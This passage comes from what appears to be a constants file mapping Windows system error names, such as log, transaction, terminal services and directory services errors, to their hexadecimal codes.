0x00001782\nERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE                              = 0x00001783\nERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE                                   = 0x00001784\nERROR_CS_ENCRYPTION_FILE_NOT_CSE                                         = 0x00001785\nERROR_ENCRYPTION_POLICY_DENIES_OPERATION                                 = 0x00001786\nERROR_NO_BROWSER_SERVERS_FOUND                                           = 0x000017e6\nSCHED_E_SERVICE_NOT_LOCALSYSTEM                                          = 0x00001838\nERROR_LOG_SECTOR_INVALID                                                 = 0x000019c8\nERROR_LOG_SECTOR_PARITY_INVALID                                          = 0x000019c9\nERROR_LOG_SECTOR_REMAPPED                                                = 0x000019ca\nERROR_LOG_BLOCK_INCOMPLETE                                               = 0x000019cb\nERROR_LOG_INVALID_RANGE                                                  = 0x000019cc\nERROR_LOG_BLOCKS_EXHAUSTED                                               = 0x000019cd\nERROR_LOG_READ_CONTEXT_INVALID                                           = 0x000019ce\nERROR_LOG_RESTART_INVALID                                                = 0x000019cf\nERROR_LOG_BLOCK_VERSION                                                  = 0x000019d0\nERROR_LOG_BLOCK_INVALID                                                  = 0x000019d1\nERROR_LOG_READ_MODE_INVALID                                              = 0x000019d2\nERROR_LOG_NO_RESTART                                                     = 0x000019d3\nERROR_LOG_METADATA_CORRUPT                                               = 0x000019d4\nERROR_LOG_METADATA_INVALID                                               = 0x000019d5\nERROR_LOG_METADATA_INCONSISTENT                                          = 0x000019d6\nERROR_LOG_RESERVATION_INVALID                                            = 0x000019d7\nERROR_LOG_CANT_DELETE                                                    = 0x000019d8\nERROR_LOG_CONTAINER_LIMIT_EXCEEDED                                       = 0x000019d9\nERROR_LOG_START_OF_LOG                                                   = 0x000019da\nERROR_LOG_POLICY_ALREADY_INSTALLED                                       = 0x000019db\nERROR_LOG_POLICY_NOT_INSTALLED                                           = 0x000019dc\nERROR_LOG_POLICY_INVALID                                                 = 0x000019dd\nERROR_LOG_POLICY_CONFLICT                                                = 0x000019de\nERROR_LOG_PINNED_ARCHIVE_TAIL                                            = 0x000019df\nERROR_LOG_RECORD_NONEXISTENT                                             = 0x000019e0\nERROR_LOG_RECORDS_RESERVED_INVALID                                       = 0x000019e1\nERROR_LOG_SPACE_RESERVED_INVALID                                         = 0x000019e2\nERROR_LOG_TAIL_INVALID                                                   = 0x000019e3\nERROR_LOG_FULL                                                           = 0x000019e4\nERROR_COULD_NOT_RESIZE_LOG                                               = 0x000019e5\nERROR_LOG_MULTIPLEXED                                                    = 0x000019e6\nERROR_LOG_DEDICATED                                                      = 0x000019e7\nERROR_LOG_ARCHIVE_NOT_IN_PROGRESS                                        = 0x000019e8\nERROR_LOG_ARCHIVE_IN_PROGRESS                                            = 0x000019e9\nERROR_LOG_EPHEMERAL                                                      = 0x000019ea\nERROR_LOG_NOT_ENOUGH_CONTAINERS                                          = 0x000019eb\nERROR_LOG_CLIENT_ALREADY_REGISTERED                                      = 0x000019ec\nERROR_LOG_CLIENT_NOT_REGISTERED                                          = 0x000019ed\nERROR_LOG_FULL_HANDLER_IN_PROGRESS                                       = 0x000019ee\nERROR_LOG_CONTAINER_READ_FAILED                                          = 0x000019ef\nERROR_LOG_CONTAINER_WRITE_FAILED                                         = 0x000019f0\nERROR_LOG_CONTAINER_OPEN_FAILED                                          = 0x000019f1\nERROR_LOG_CONTAINER_STATE_INVALID                                        = 0x000019f2\nERROR_LOG_STATE_INVALID                                                  = 0x000019f3\nERROR_LOG_PINNED                                                         = 0x000019f4\nERROR_LOG_METADATA_FLUSH_FAILED                                          = 0x000019f5\nERROR_LOG_INCONSISTENT_SECURITY                                          = 0x000019f6\nERROR_LOG_APPENDED_FLUSH_FAILED                                          = 0x000019f7\nERROR_LOG_PINNED_RESERVATION                                             = 0x000019f8\nERROR_INVALID_TRANSACTION                                                = 0x00001a2c\nERROR_TRANSACTION_NOT_ACTIVE                                             = 0x00001a2d\nERROR_TRANSACTION_REQUEST_NOT_VALID                                      = 0x00001a2e\nERROR_TRANSACTION_NOT_REQUESTED                                          = 0x00001a2f\nERROR_TRANSACTION_ALREADY_ABORTED                                        = 0x00001a30\nERROR_TRANSACTION_ALREADY_COMMITTED                                      = 0x00001a31\nERROR_TM_INITIALIZATION_FAILED                                           = 0x00001a32\nERROR_RESOURCEMANAGER_READ_ONLY                                          = 0x00001a33\nERROR_TRANSACTION_NOT_JOINED                                             = 0x00001a34\nERROR_TRANSACTION_SUPERIOR_EXISTS                                        = 0x00001a35\nERROR_CRM_PROTOCOL_ALREADY_EXISTS                                        = 0x00001a36\nERROR_TRANSACTION_PROPAGATION_FAILED                                     = 0x00001a37\nERROR_CRM_PROTOCOL_NOT_FOUND                                             = 0x00001a38\nERROR_TRANSACTION_INVALID_MARSHALL_BUFFER                                = 0x00001a39\nERROR_CURRENT_TRANSACTION_NOT_VALID                                      = 0x00001a3a\nERROR_TRANSACTION_NOT_FOUND                                              = 0x00001a3b\nERROR_RESOURCEMANAGER_NOT_FOUND                                          = 0x00001a3c\nERROR_ENLISTMENT_NOT_FOUND                                               = 0x00001a3d\nERROR_TRANSACTIONMANAGER_NOT_FOUND                                       = 0x00001a3e\nERROR_TRANSACTIONMANAGER_NOT_ONLINE                                      = 0x00001a3f\nERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION                         = 0x00001a40\nERROR_TRANSACTION_NOT_ROOT                                               = 0x00001a41\nERROR_TRANSACTION_OBJECT_EXPIRED                                         = 0x00001a42\nERROR_TRANSACTION_RESPONSE_NOT_ENLISTED                                  = 0x00001a43\nERROR_TRANSACTION_RECORD_TOO_LONG                                        = 0x00001a44\nERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED                                 = 0x00001a45\nERROR_TRANSACTION_INTEGRITY_VIOLATED                                     = 0x00001a46\nERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH                               = 0x00001a47\nERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT                                   = 0x00001a48\nERROR_TRANSACTION_MUST_WRITETHROUGH                                      = 0x00001a49\nERROR_TRANSACTION_NO_SUPERIOR                                            = 0x00001a4a\nERROR_HEURISTIC_DAMAGE_POSSIBLE                                          = 0x00001a4b\nERROR_TRANSACTIONAL_CONFLICT                                             = 0x00001a90\nERROR_RM_NOT_ACTIVE                                                      = 0x00001a91\nERROR_RM_METADATA_CORRUPT                                                = 0x00001a92\nERROR_DIRECTORY_NOT_RM                                                   = 0x00001a93\nERROR_TRANSACTIONS_UNSUPPORTED_REMOTE                                    = 0x00001a95\nERROR_LOG_RESIZE_INVALID_SIZE                                            = 0x00001a96\nERROR_OBJECT_NO_LONGER_EXISTS                                            = 0x00001a97\nERROR_STREAM_MINIVERSION_NOT_FOUND                                       = 0x00001a98\nERROR_STREAM_MINIVERSION_NOT_VALID                                       = 0x00001a99\nERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION                = 0x00001a9a\nERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT                           = 0x00001a9b\nERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS                               = 0x00001a9c\nERROR_REMOTE_FILE_VERSION_MISMATCH                                       = 0x00001a9e\nERROR_HANDLE_NO_LONGER_VALID                                             = 0x00001a9f\nERROR_NO_TXF_METADATA                                                    = 0x00001aa0\nERROR_LOG_CORRUPTION_DETECTED                                            = 0x00001aa1\nERROR_CANT_RECOVER_WITH_HANDLE_OPEN                                      = 0x00001aa2\nERROR_RM_DISCONNECTED                                                    = 0x00001aa3\nERROR_ENLISTMENT_NOT_SUPERIOR                                            = 0x00001aa4\nERROR_RECOVERY_NOT_NEEDED                                                = 0x00001aa5\nERROR_RM_ALREADY_STARTED                                                 = 0x00001aa6\nERROR_FILE_IDENTITY_NOT_PERSISTENT                                       = 0x00001aa7\nERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY                                = 0x00001aa8\nERROR_CANT_CROSS_RM_BOUNDARY                                             = 0x00001aa9\nERROR_TXF_DIR_NOT_EMPTY                                                  = 0x00001aaa\nERROR_INDOUBT_TRANSACTIONS_EXIST                                         = 0x00001aab\nERROR_TM_VOLATILE                                                        = 0x00001aac\nERROR_ROLLBACK_TIMER_EXPIRED                                             = 0x00001aad\nERROR_TXF_ATTRIBUTE_CORRUPT                                              = 0x00001aae\nERROR_EFS_NOT_ALLOWED_IN_TRANSACTION                                     = 0x00001aaf\nERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED                                     = 0x00001ab0\nERROR_LOG_GROWTH_FAILED                                                  = 0x00001ab1\nERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE                              = 0x00001ab2\nERROR_TXF_METADATA_ALREADY_PRESENT                                       = 0x00001ab3\nERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET                                = 0x00001ab4\nERROR_TRANSACTION_REQUIRED_PROMOTION                                     = 0x00001ab5\nERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION                                 = 0x00001ab6\nERROR_TRANSACTIONS_NOT_FROZEN                                            = 0x00001ab7\nERROR_TRANSACTION_FREEZE_IN_PROGRESS                                     = 0x00001ab8\nERROR_NOT_SNAPSHOT_VOLUME                                                = 0x00001ab9\nERROR_NO_SAVEPOINT_WITH_OPEN_FILES                                       = 0x00001aba\nERROR_DATA_LOST_REPAIR                                                   = 0x00001abb\nERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION                                  = 0x00001abc\nERROR_TM_IDENTITY_MISMATCH                                               = 0x00001abd\nERROR_FLOATED_SECTION                                                    = 0x00001abe\nERROR_CANNOT_ACCEPT_TRANSACTED_WORK                                      = 0x00001abf\nERROR_CANNOT_ABORT_TRANSACTIONS                                          = 0x00001ac0\nERROR_BAD_CLUSTERS                                                       = 0x00001ac1\nERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION                             = 0x00001ac2\nERROR_VOLUME_DIRTY                                                       = 0x00001ac3\nERROR_NO_LINK_TRACKING_IN_TRANSACTION                                    = 0x00001ac4\nERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION                             = 0x00001ac5\nERROR_EXPIRED_HANDLE                                                     = 0x00001ac6\nERROR_TRANSACTION_NOT_ENLISTED                                           = 0x00001ac7\nERROR_CTX_WINSTATION_NAME_INVALID                                        = 0x00001b59\nERROR_CTX_INVALID_PD                                                     = 0x00001b5a\nERROR_CTX_PD_NOT_FOUND                                                   = 0x00001b5b\nERROR_CTX_WD_NOT_FOUND                                                   = 0x00001b5c\nERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY                                     = 0x00001b5d\nERROR_CTX_SERVICE_NAME_COLLISION                                         = 0x00001b5e\nERROR_CTX_CLOSE_PENDING                                                  = 0x00001b5f\nERROR_CTX_NO_OUTBUF                                                      = 0x00001b60\nERROR_CTX_MODEM_INF_NOT_FOUND                                            = 0x00001b61\nERROR_CTX_INVALID_MODEMNAME                                              = 0x00001b62\nERROR_CTX_MODEM_RESPONSE_ERROR                                           = 0x00001b63\nERROR_CTX_MODEM_RESPONSE_TIMEOUT                                         = 0x00001b64\nERROR_CTX_MODEM_RESPONSE_NO_CARRIER                                      = 0x00001b65\nERROR_CTX_MODEM_RESPONSE_NO_DIALTONE                                     = 0x00001b66\nERROR_CTX_MODEM_RESPONSE_BUSY                                            = 0x00001b67\nERROR_CTX_MODEM_RESPONSE_VOICE                                           = 0x00001b68\nERROR_CTX_TD_ERROR                                                       = 0x00001b69\nERROR_CTX_WINSTATION_NOT_FOUND                                           = 0x00001b6e\nERROR_CTX_WINSTATION_ALREADY_EXISTS                                      = 0x00001b6f\nERROR_CTX_WINSTATION_BUSY                                                = 0x00001b70\nERROR_CTX_BAD_VIDEO_MODE                                                 = 0x00001b71\nERROR_CTX_GRAPHICS_INVALID                                               = 0x00001b7b\nERROR_CTX_LOGON_DISABLED                                                 = 0x00001b7d\nERROR_CTX_NOT_CONSOLE                                                    = 0x00001b7e\nERROR_CTX_CLIENT_QUERY_TIMEOUT                                           = 0x00001b80\nERROR_CTX_CONSOLE_DISCONNECT                                             = 0x00001b81\nERROR_CTX_CONSOLE_CONNECT                                                = 0x00001b82\nERROR_CTX_SHADOW_DENIED                                                  = 0x00001b84\nERROR_CTX_WINSTATION_ACCESS_DENIED                                       = 0x00001b85\nERROR_CTX_INVALID_WD                                                     = 0x00001b89\nERROR_CTX_SHADOW_INVALID                                                 = 0x00001b8a\nERROR_CTX_SHADOW_DISABLED                                                = 0x00001b8b\nERROR_CTX_CLIENT_LICENSE_IN_USE                                          = 0x00001b8c\nERROR_CTX_CLIENT_LICENSE_NOT_SET                                         = 0x00001b8d\nERROR_CTX_LICENSE_NOT_AVAILABLE                                          = 0x00001b8e\nERROR_CTX_LICENSE_CLIENT_INVALID                                         = 0x00001b8f\nERROR_CTX_LICENSE_EXPIRED                                                = 0x00001b90\nERROR_CTX_SHADOW_NOT_RUNNING                                             = 0x00001b91\nERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE                                    = 0x00001b92\nERROR_ACTIVATION_COUNT_EXCEEDED                                          = 0x00001b93\nERROR_CTX_WINSTATIONS_DISABLED                                           = 0x00001b94\nERROR_CTX_ENCRYPTION_LEVEL_REQUIRED                                      = 0x00001b95\nERROR_CTX_SESSION_IN_USE                                                 = 0x00001b96\nERROR_CTX_NO_FORCE_LOGOFF                                                = 0x00001b97\nERROR_CTX_ACCOUNT_RESTRICTION                                            = 0x00001b98\nERROR_RDP_PROTOCOL_ERROR                                                 = 0x00001b99\nERROR_CTX_CDM_CONNECT                                                    = 0x00001b9a\nERROR_CTX_CDM_DISCONNECT                                                 = 0x00001b9b\nERROR_CTX_SECURITY_LAYER_ERROR                                           = 0x00001b9c\nERROR_TS_INCOMPATIBLE_SESSIONS                                           = 0x00001b9d\nERROR_TS_VIDEO_SUBSYSTEM_ERROR                                           = 0x00001b9e\nFRS_ERR_INVALID_API_SEQUENCE                                             = 0x00001f41\nFRS_ERR_STARTING_SERVICE                                                 = 0x00001f42\nFRS_ERR_STOPPING_SERVICE                                                 = 0x00001f43\nFRS_ERR_INTERNAL_API                                                     = 0x00001f44\nFRS_ERR_INTERNAL                                                         = 0x00001f45\nFRS_ERR_SERVICE_COMM                                                     = 0x00001f46\nFRS_ERR_INSUFFICIENT_PRIV                                                = 0x00001f47\nFRS_ERR_AUTHENTICATION                                                   = 0x00001f48\nFRS_ERR_PARENT_INSUFFICIENT_PRIV                                         = 0x00001f49\nFRS_ERR_PARENT_AUTHENTICATION                                            = 0x00001f4a\nFRS_ERR_CHILD_TO_PARENT_COMM                                             = 0x00001f4b\nFRS_ERR_PARENT_TO_CHILD_COMM                                             = 0x00001f4c\nFRS_ERR_SYSVOL_POPULATE                                                  = 0x00001f4d\nFRS_ERR_SYSVOL_POPULATE_TIMEOUT                                          = 0x00001f4e\nFRS_ERR_SYSVOL_IS_BUSY                                                   = 0x00001f4f\nFRS_ERR_SYSVOL_DEMOTE                                                    = 0x00001f50\nFRS_ERR_INVALID_SERVICE_PARAMETER                                        = 0x00001f51\nERROR_DS_NOT_INSTALLED                                                   = 0x00002008\nERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY                                    = 0x00002009\nERROR_DS_NO_ATTRIBUTE_OR_VALUE                                           = 0x0000200a\nERROR_DS_INVALID_ATTRIBUTE_SYNTAX                                        = 0x0000200b\nERROR_DS_ATTRIBUTE_TYPE_UNDEFINED                                        = 0x0000200c\nERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS                                       = 0x0000200d\nERROR_DS_BUSY                                                            = 0x0000200e\nERROR_DS_UNAVAILABLE                                                     = 0x0000200f\nERROR_DS_NO_RIDS_ALLOCATED                                               = 0x00002010\nERROR_DS_NO_MORE_RIDS                                                    = 0x00002011\nERROR_DS_INCORRECT_ROLE_OWNER                                            = 0x00002012\nERROR_DS_RIDMGR_INIT_ERROR                                               = 0x00002013\nERROR_DS_OBJ_CLASS_VIOLATION                                             = 0x00002014\nERROR_DS_CANT_ON_NON_LEAF                                                = 0x00002015\nERROR_DS_CANT_ON_RDN                                                     = 0x00002016\nERROR_DS_CANT_MOD_OBJ_CLASS                                              = 0x00002017\nERROR_DS_CROSS_DOM_MOVE_ERROR                                            = 0x00002018\nERROR_DS_GC_NOT_AVAILABLE                                                = 0x00002019\nERROR_SHARED_POLICY                                                      = 0x0000201a\nERROR_POLICY_OBJECT_NOT_FOUND                                            = 0x0000201b\nERROR_POLICY_ONLY_IN_DS                                                  = 0x0000201c\nERROR_PROMOTION_ACTIVE                                                   = 0x0000201d\nERROR_NO_PROMOTION_ACTIVE                                                = 0x0000201e\nERROR_DS_OPERATIONS_ERROR                                                = 0x00002020\nERROR_DS_PROTOCOL_ERROR                                                  = 0x00002021\nERROR_DS_TIMELIMIT_EXCEEDED                                              = 0x00002022\nERROR_DS_SIZELIMIT_EXCEEDED                                              = 0x00002023\nERROR_DS_ADMIN_LIMIT_EXCEEDED                                            = 0x00002024\nERROR_DS_COMPARE_FALSE                                                   = 0x00002025\nERROR_DS_COMPARE_TRUE                                                    = 0x00002026\nERROR_DS_AUTH_METHOD_NOT_SUPPORTED                                       = 0x00002027\nERROR_DS_STRONG_AUTH_REQUIRED                                            = 0x00002028\nERROR_DS_INAPPROPRIATE_AUTH                                              = 0x00002029\nERROR_DS_AUTH_UNKNOWN                                                    = 0x0000202a\nERROR_DS_REFERRAL                                                        = 0x0000202b\nERROR_DS_UNAVAILABLE_CRIT_EXTENSION                                      = 0x0000202c\nERROR_DS_CONFIDENTIALITY_REQUIRED                                        = 0x0000202d\nERROR_DS_INAPPROPRIATE_MATCHING                                          = 0x0000202e\nERROR_DS_CONSTRAINT_VIOLATION                                            = 0x0000202f\nERROR_DS_NO_SUCH_OBJECT                                                  = 0x00002030\nERROR_DS_ALIAS_PROBLEM                                                   = 0x00002031\nERROR_DS_INVALID_DN_SYNTAX                                               = 0x00002032\nERROR_DS_IS_LEAF                                                         = 0x00002033\nERROR_DS_ALIAS_DEREF_PROBLEM                                             = 0x00002034\nERROR_DS_UNWILLING_TO_PERFORM                                            = 0x00002035\nERROR_DS_LOOP_DETECT                                                     = 0x00002036\nERROR_DS_NAMING_VIOLATION                                                = 0x00002037\nERROR_DS_OBJECT_RESULTS_TOO_LARGE                                        = 0x00002038\nERROR_DS_AFFECTS_MULTIPLE_DSAS                                           = 0x00002039\nERROR_DS_SERVER_DOWN                                                     = 0x0000203a\nERROR_DS_LOCAL_ERROR                                                     = 0x0000203b\nERROR_DS_ENCODING_ERROR                                                  = 0x0000203c\nERROR_DS_DECODING_ERROR                                                  = 0x0000203d\nERROR_DS_FILTER_UNKNOWN                                                  = 0x0000203e\nERROR_DS_PARAM_ERROR                                                     = 0x0000203f\nERROR_DS_NOT_SUPPORTED                                                   = 0x00002040\nERROR_DS_NO_RESULTS_RETURNED                                             = 0x00002041\nERROR_DS_CONTROL_NOT_FOUND                                               = 0x00002042\nERROR_DS_CLIENT_LOOP                                                     = 0x00002043\nERROR_DS_REFERRAL_LIMIT_EXCEEDED                                         = 0x00002044\nERROR_DS_SORT_CONTROL_MISSING                                            = 0x00002045\nERROR_DS_OFFSET_RANGE_ERROR                                              = 0x00002046\nERROR_DS_RIDMGR_DISABLED                                                 = 0x00002047\nERROR_DS_ROOT_MUST_BE_NC                                                 = 0x0000206d\nERROR_DS_ADD_REPLICA_INHIBITED                                           = 0x0000206e\nERROR_DS_ATT_NOT_DEF_IN_SCHEMA                                           = 0x0000206f\nERROR_DS_MAX_OBJ_SIZE_EXCEEDED                                           = 0x00002070\nERROR_DS_OBJ_STRING_NAME_EXISTS                                          = 0x00002071\nERROR_DS_NO_RDN_DEFINED_IN_SCHEMA                                        = 0x00002072\nERROR_DS_RDN_DOESNT_MATCH_SCHEMA                                         = 0x00002073\nERROR_DS_NO_REQUESTED_ATTS_FOUND                                         = 0x00002074\nERROR_DS_USER_BUFFER_TO_SMALL                                            = 0x00002075\nERROR_DS_ATT_IS_NOT_ON_OBJ                                               = 0x00002076\nERROR_DS_ILLEGAL_MOD_OPERATION                                           = 0x00002077\nERROR_DS_OBJ_TOO_LARGE                                                   = 0x00002078\nERROR_DS_BAD_INSTANCE_TYPE                                               = 0x00002079\nERROR_DS_MASTERDSA_REQUIRED                                              = 0x0000207a\nERROR_DS_OBJECT_CLASS_REQUIRED                                           = 0x0000207b\nERROR_DS_MISSING_REQUIRED_ATT                                            = 0x0000207c\nERROR_DS_ATT_NOT_DEF_FOR_CLASS                                           = 0x0000207d\nERROR_DS_ATT_ALREADY_EXISTS                                              = 0x0000207e\nERROR_DS_CANT_ADD_ATT_VALUES                                             = 0x00002080\nERROR_DS_SINGLE_VALUE_CONSTRAINT                                         = 0x00002081\nERROR_DS_RANGE_CONSTRAINT                                                = 0x00002082\nERROR_DS_ATT_VAL_ALREADY_EXISTS                                          = 0x00002083\nERROR_DS_CANT_REM_MISSING_ATT                                            = 0x00002084\nERROR_DS_CANT_REM_MISSING_ATT_VAL                                        = 0x00002085\nERROR_DS_ROOT_CANT_BE_SUBREF                                             = 0x00002086\nERROR_DS_NO_CHAINING                                                     = 0x00002087\nERROR_DS_NO_CHAINED_EVAL                                                 = 0x00002088\nERROR_DS_NO_PARENT_OBJECT                                                = 0x00002089\nERROR_DS_PARENT_IS_AN_ALIAS                                              = 0x0000208a\nERROR_DS_CANT_MIX_MASTER_AND_REPS                                        = 0x0000208b\nERROR_DS_CHILDREN_EXIST                                                  = 0x0000208c\nERROR_DS_OBJ_NOT_FOUND                                                   = 0x0000208d\nERROR_DS_ALIASED_OBJ_MISSING                                             = 0x0000208e\nERROR_DS_BAD_NAME_SYNTAX                                                 = 0x0000208f\nERROR_DS_ALIAS_POINTS_TO_ALIAS                                           = 0x00002090\nERROR_DS_CANT_DEREF_ALIAS                                                = 0x00002091\nERROR_DS_OUT_OF_SCOPE                                                    = 0x00002092\nERROR_DS_OBJECT_BEING_REMOVED                                            = 0x00002093\nERROR_DS_CANT_DELETE_DSA_OBJ                                             = 0x00002094\nERROR_DS_GENERIC_ERROR                                                   = 0x00002095\nERROR_DS_DSA_MUST_BE_INT_MASTER                                          = 0x00002096\nERROR_DS_CLASS_NOT_DSA                                                   = 0x00002097\nERROR_DS_INSUFF_ACCESS_RIGHTS                                            = 0x00002098\nERROR_DS_ILLEGAL_SUPERIOR                                                = 0x00002099\nERROR_DS_ATTRIBUTE_OWNED_BY_SAM                                          = 0x0000209a\nERROR_DS_NAME_TOO_MANY_PARTS                                             = 0x0000209b\nERROR_DS_NAME_TOO_LONG                                                   = 0x0000209c\nERROR_DS_NAME_VALUE_TOO_LONG                                             = 0x0000209d\nERROR_DS_NAME_UNPARSEABLE                                                = 0x0000209e\nERROR_DS_NAME_TYPE_UNKNOWN                                               = 0x0000209f\nERROR_DS_NOT_AN_OBJECT                                                   = 0x000020a0\nERROR_DS_SEC_DESC_TOO_SHORT                                              = 0x000020a1\nERROR_DS_SEC_DESC_INVALID                                                = 0x000020a2\nERROR_DS_NO_DELETED_NAME                                                 = 0x000020a3\nERROR_DS_SUBREF_MUST_HAVE_PARENT                                         = 0x000020a4\nERROR_DS_NCNAME_MUST_BE_NC                                               = 0x000020a5\nERROR_DS_CANT_ADD_SYSTEM_ONLY                                            = 0x000020a6\nERROR_DS_CLASS_MUST_BE_CONCRETE                                          = 0x000020a7\nERROR_DS_INVALID_DMD                                                     = 0x000020a8\nERROR_DS_OBJ_GUID_EXISTS                                                 = 0x000020a9\nERROR_DS_NOT_ON_BACKLINK                                                 = 0x000020aa\nERROR_DS_NO_CROSSREF_FOR_NC                                              = 0x000020ab\nERROR_DS_SHUTTING_DOWN                                                   = 0x000020ac\nERROR_DS_UNKNOWN_OPERATION                                               = 0x000020ad\nERROR_DS_INVALID_ROLE_OWNER                                              = 0x000020ae\nERROR_DS_COULDNT_CONTACT_FSMO                                            = 0x000020af\nERROR_DS_CROSS_NC_DN_RENAME                                              = 0x000020b0\nERROR_DS_CANT_MOD_SYSTEM_ONLY                                            = 0x000020b1\nERROR_DS_REPLICATOR_ONLY                                                 = 0x000020b2\nERROR_DS_OBJ_CLASS_NOT_DEFINED                                           = 0x000020b3\nERROR_DS_OBJ_CLASS_NOT_SUBCLASS                                          = 0x000020b4\nERROR_DS_NAME_REFERENCE_INVALID                                          = 0x000020b5\nERROR_DS_CROSS_REF_EXISTS                                                = 0x000020b6\nERROR_DS_CANT_DEL_MASTER_CROSSREF                                        = 0x000020b7\nERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD                                      = 0x000020b8\nERROR_DS_NOTIFY_FILTER_TOO_COMPLEX                                       = 0x000020b9\nERROR_DS_DUP_RDN                                                         = 0x000020ba\nERROR_DS_DUP_OID                                                         = 0x000020bb\nERROR_DS_DUP_MAPI_ID                                                     = 0x000020bc\nERROR_DS_DUP_SCHEMA_ID_GUID                                              = 0x000020bd\nERROR_DS_DUP_LDAP_DISPLAY_NAME                                           = 0x000020be\nERROR_DS_SEMANTIC_ATT_TEST                                               = 0x000020bf\nERROR_DS_SYNTAX_MISMATCH                                                 = 0x000020c0\nERROR_DS_EXISTS_IN_MUST_HAVE                                             = 0x000020c1\nERROR_DS_EXISTS_IN_MAY_HAVE                                              = 0x000020c2\nERROR_DS_NONEXISTENT_MAY_HAVE                                            = 0x000020c3\nERROR_DS_NONEXISTENT_MUST_HAVE                                           = 0x000020c4\nERROR_DS_AUX_CLS_TEST_FAIL                                               = 0x000020c5\nERROR_DS_NONEXISTENT_POSS_SUP                                            = 0x000020c6\nERROR_DS_SUB_CLS_TEST_FAIL                                               = 0x000020c7\nERROR_DS_BAD_RDN_ATT_ID_SYNTAX                                           = 0x000020c8\nERROR_DS_EXISTS_IN_AUX_CLS                                               = 0x000020c9\nERROR_DS_EXISTS_IN_SUB_CLS                                               = 0x000020ca\nERROR_DS_EXISTS_IN_POSS_SUP                                              = 0x000020cb\nERROR_DS_RECALCSCHEMA_FAILED                                             = 0x000020cc\nERROR_DS_TREE_DELETE_NOT_FINISHED                                        = 0x000020cd\nERROR_DS_CANT_DELETE                                                     = 0x000020ce\nERROR_DS_ATT_SCHEMA_REQ_ID                                               = 0x000020cf\nERROR_DS_BAD_ATT_SCHEMA_SYNTAX                                           = 0x000020d0\nERROR_DS_CANT_CACHE_ATT                                                  = 0x000020d1\nERROR_DS_CANT_CACHE_CLASS                                                = 0x000020d2\nERROR_DS_CANT_REMOVE_ATT_CACHE                                           = 0x000020d3\nERROR_DS_CANT_REMOVE_CLASS_CACHE                                         = 0x000020d4\nERROR_DS_CANT_RETRIEVE_DN                                                = 0x000020d5\nERROR_DS_MISSING_SUPREF                                                  = 0x000020d6\nERROR_DS_CANT_RETRIEVE_INSTANCE                                          = 0x000020d7\nERROR_DS_CODE_INCONSISTENCY                                              = 0x000020d8\nERROR_DS_DATABASE_ERROR                                                  = 0x000020d9\nERROR_DS_GOVERNSID_MISSING                                               = 0x000020da\nERROR_DS_MISSING_EXPECTED_ATT                                            = 0x000020db\nERROR_DS_NCNAME_MISSING_CR_REF                                           = 0x000020dc\nERROR_DS_SECURITY_CHECKING_ERROR                                         = 0x000020dd\nERROR_DS_SCHEMA_NOT_LOADED                                               = 0x000020de\nERROR_DS_SCHEMA_ALLOC_FAILED                                             = 0x000020df\nERROR_DS_ATT_SCHEMA_REQ_SYNTAX                                           = 0x000020e0\nERROR_DS_GCVERIFY_ERROR                                                  = 0x000020e1\nERROR_DS_DRA_SCHEMA_MISMATCH                                             = 0x000020e2\nERROR_DS_CANT_FIND_DSA_OBJ                                               = 0x000020e3\nERROR_DS_CANT_FIND_EXPECTED_NC                                           = 0x000020e4\nERROR_DS_CANT_FIND_NC_IN_CACHE                                           = 0x000020e5\nERROR_DS_CANT_RETRIEVE_CHILD                                             = 0x000020e6\nERROR_DS_SECURITY_ILLEGAL_MODIFY                                         = 0x000020e7\nERROR_DS_CANT_REPLACE_HIDDEN_REC                                         = 0x000020e8\nERROR_DS_BAD_HIERARCHY_FILE                                              = 0x000020e9\nERROR_DS_BUILD_HIERARCHY_TABLE_FAILED                                    = 0x000020ea\nERROR_DS_CONFIG_PARAM_MISSING                                            = 0x000020eb\nERROR_DS_COUNTING_AB_INDICES_FAILED                                      = 0x000020ec\nERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED                                   = 0x000020ed\nERROR_DS_INTERNAL_FAILURE                                                = 0x000020ee\nERROR_DS_UNKNOWN_ERROR                                                   = 0x000020ef\nERROR_DS_ROOT_REQUIRES_CLASS_TOP                                         = 0x000020f0\nERROR_DS_REFUSING_FSMO_ROLES                                             = 0x000020f1\nERROR_DS_MISSING_FSMO_SETTINGS                                           = 0x000020f2\nERROR_DS_UNABLE_TO_SURRENDER_ROLES                                       = 0x000020f3\nERROR_DS_DRA_GENERIC                                                     = 0x000020f4\nERROR_DS_DRA_INVALID_PARAMETER                                           = 0x000020f5\nERROR_DS_DRA_BUSY                                                        = 0x000020f6\nERROR_DS_DRA_BAD_DN                                                      = 0x000020f7\nERROR_DS_DRA_BAD_NC                                                      = 0x000020f8\nERROR_DS_DRA_DN_EXISTS                                                   = 0x000020f9\nERROR_DS_DRA_INTERNAL_ERROR                                              = 0x000020fa\nERROR_DS_DRA_INCONSISTENT_DIT                                            = 0x000020fb\nERROR_DS_DRA_CONNECTION_FAILED                                           = 0x000020fc\nERROR_DS_DRA_BAD_INSTANCE_TYPE                                           = 0x000020fd\nERROR_DS_DRA_OUT_OF_MEM                                                  = 0x000020fe\nERROR_DS_DRA_MAIL_PROBLEM                                                = 0x000020ff\nERROR_DS_DRA_REF_ALREADY_EXISTS                                          = 0x00002100\nERROR_DS_DRA_REF_NOT_FOUND                                               = 0x00002101\nERROR_DS_DRA_OBJ_IS_REP_SOURCE                                           = 